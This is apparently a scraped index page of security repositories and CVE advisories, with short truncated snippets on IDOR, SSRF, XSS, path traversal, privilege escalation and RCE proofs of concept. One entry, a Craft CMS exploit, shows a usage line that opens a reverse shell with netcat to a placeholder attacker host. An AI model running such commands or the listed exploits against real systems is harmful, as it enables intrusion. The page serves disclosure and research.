CVE-2025-51867

CVE-2025-51867 Vulnerability description Deepfiction AI is an AI entertainment company with a mission to revolutionize personalized storytelling. Deepfiction AI provide a web application to create stories by chatting with LLM, which is vulnerable to Insecure Direct Object Reference IDOR in its ch...

rufus

Rufus: The Reliable USB Formatting Utility Rufus is a utility that helps format and create bootable USB flash drives. Features Format USB, flash card and virtual drives to FAT/FAT32/NTFS/UDF/exFAT/ReFS/ext2/ext3 Create DOS bootable USB drives using FreeDOS or MS-DOS Create BIOS or UEFI bootable...

CVE-2022-31188

CVE-2022-31188 CVE-2022-31188 - OpenCV CVAT Computer Vision Annotation Tool SSRF CVAT is an open source Computer Vision Annotation Tool developed by Intel. Any user with "Task Create" authorization can trigger the SSRF vulnerability by sending a malicious HTTP request and gaining access to other...

fses

fses Fucking Search Engines Scraper - python library to scrap url's from search engines Search Engines we scrap Ask Bing DuckDuck GO UOL Yahoo Install git clone https://github.com/mthbernardes/fses.git cd fses pip install -r requeriments.txt Usage Simple search using Ask from searchEngines.ask...

evilarc

evilarc Purpose evilarc lets you create a zip file that contains files with directory traversal characters in their embedded path. Most commercial zip program winzip, etc will prevent extraction of zip files whose embedded files contain paths with directory traversal characters. However, many...

CVE-2026-102626

An authenticated LimeSurvey Community Edition 7.4.0 user with the global Surveys: create permission can store a JavaScript-breaking value in the datemin attribute of a Date/Time question. When another user renders the affected question, LimeSurvey inserts the stored value into a single-quoted...

CVE-2026-102626 LimeSurvey Community Edition 7.4.0 - Stored XSS through the Date/Time date_min question attribute

An authenticated LimeSurvey Community Edition 7.4.0 user with the global Surveys: create permission can store a JavaScript-breaking value in the datemin attribute of a Date/Time question. When another user renders the affected question, LimeSurvey inserts the stored value into a single-quoted...

dirty_sock

dirtysock: Linux 権限昇格 snapd 経由 2019年1月、当時の Ubuntu Linux の現行バージョンが snapd API のバグによりローカル権限昇格の脆弱性の影響を受けることが判明しました。このリポジトリには、研究および教育用に公開されているオリジナルのエクスプロイト POC が含まれています。脆弱性とエクスプロイトの詳細なウォークスルーについては、 こちらのブログ投稿を参照してください。 Ubuntu には snapd...

CVE-2026-14802

CVE-2026-14802 Name of the Vulnerable Software and Affected Versions create-react-app versions prior to 5.0.2 Description On macOS, the startBrowserProcess function within the openBrowser.js file of the react-dev-utils component allows for OS command injection. This issue enables remote...

CVE-2026-28695

CVE-2026-28695 补丁绕过 - Craft CMS 盲远程代码执行 Craft CMS 中的认证后盲远程代码执行。绕过了 CVE-2026-28695 修复（提交 e31e508）中添加的 create - BaseObject 限制。 用法 python3 exp.py -t http://target.htb -u user -p 'password' -c 'busybox nc ATTACKERIP ATTACKERPORT -e /bin/sh' 免责声明...

EUVD-2026-91119

langflow-ai langflow v1.8.4 is affected by: Directory Traversal. The impact is: Arbitrary file write outside the intended workspace or storage boundary.. The component is:...

test-cve-2025-29927

This is a Next.js project bootstrapped with create-next-app. Getting Started First, run the development server: npm run dev or yarn dev or pnpm dev or bun dev Open http://localhost:3000 with your browser to see the result. You can start editing the page by modifying app/page.tsx. The page...

CVE-2026-51888

langflow-ai langflow v1.8.4 is affected by: Directory Traversal. The impact is: Arbitrary file write outside the intended workspace or storage boundary.. The component is:...

CVE-2026-31431-mitigation-suite

AFALG 防御框架 一个针对 Linux AFALG（地址族算法，族 38）子系统的内核运行时防御框架。专为运行企业级 Linux 集群的安全运营中心（SOC）打造，在这些环境中，零信任必须 深入 内核，而非止步于网络边缘。 为什么 AFALG 对 SOC 至关重要 AFALG 通过套接字接口（socketAFALG, SOCKSEQPACKET, 0）将内核加密 API 暴露给用户空间。它最初是为没有 /dev/crypto 的嵌入式系统而添加的，此后却积累了不成比例的内核 CVE 份额，因为它将内核态加密代码暴露给了非特权调用者——这是一种典型的攻击面错配。 在典型的企业构建中：...

CVE-2026-7482-PoC

CVE-2026-7482：Ollama 堆越界读取（1-Day PoC） 本仓库包含针对 CVE-2026-7482 的 1-Day 概念验证（PoC）利用链，该漏洞是 Ollama GGUF 模型加载器（0.17.1 之前的版本）中一个未经身份验证的越界（OOB）读取漏洞。 注意： 这是一次 1-Day 研究复现。我并非原始 CVE 的发现者。本 PoC 是基于公开公告细节构建的，旨在演示该漏洞的机制，用于教育和防御性研究目的。 漏洞概述 通过向 /api/create 端点提交一个恶意构造的截断 GGUF 文件，攻击者可以强制 fs/ggml/gguf.go 和...

CVE-2026-22444

CVE-2026-22444 Apache Solr UNC Path Validation Vulnerability 概述 CVE-2026-22444 是一个影响 Apache Solr 的安全漏洞，于 2026 年 1 月 20 日左右公开披露。该漏洞源于 Apache Solr 的 "create core" API 在某些 API 参数上的输入验证不足（CWE-20: Improper Input Validation），允许攻击者在 Solr 运行于 "standalone" 模式时绕过安全规则，可能导致数据泄露、远程代码执行 RCE 或 NTLM 哈希披露。 具体而言，如...

next-rep-CVE-2026-4800

这是一个使用 create-next-app 引导创建的 Next.js 项目。 开始使用 首先，运行开发服务器： npm run dev 或 yarn dev 或 pnpm dev 或 bun dev 在浏览器中打开 http://localhost:3000 查看结果。 你可以通过修改 app/page.tsx 来开始编辑页面。当你编辑文件时，页面会自动更新。 此项目使用 next/font 来自动优化并加载 Geist，这是 Vercel 的一个新字体家族。 了解更多 要了解更多关于 Next.js 的信息，请查看以下资源： Next.js 文档 - 了解 Next.js 的功能和...

nexts-cve-2025-66478-exploit

This is a Next.js project bootstrapped with create-next-app. Getting Started First, run the development server: npm run dev or yarn dev or pnpm dev or bun dev Open http://localhost:3000 with your browser to see the result. You can start editing the page by modifying app/page.tsx. The page...

cve-2024-3435

This is a Next.js project bootstrapped with create-next-app. Getting Started First, run the development server: npm run dev or yarn dev or pnpm dev or bun dev Open http://localhost:3000 with your browser to see the result. You can start editing the page by modifying app/page.tsx. The page...

CVE-2022-3546

CVE-2022-3546 https://vulners.com/cve/CVE-2022-3546 A vulnerability was found in SourceCodester Simple Cold Storage Management System 1.0 and classified as problematic. Affected by this issue is some unknown functionality of the file /csms/admin/?page=user/list of the component Create User Handle...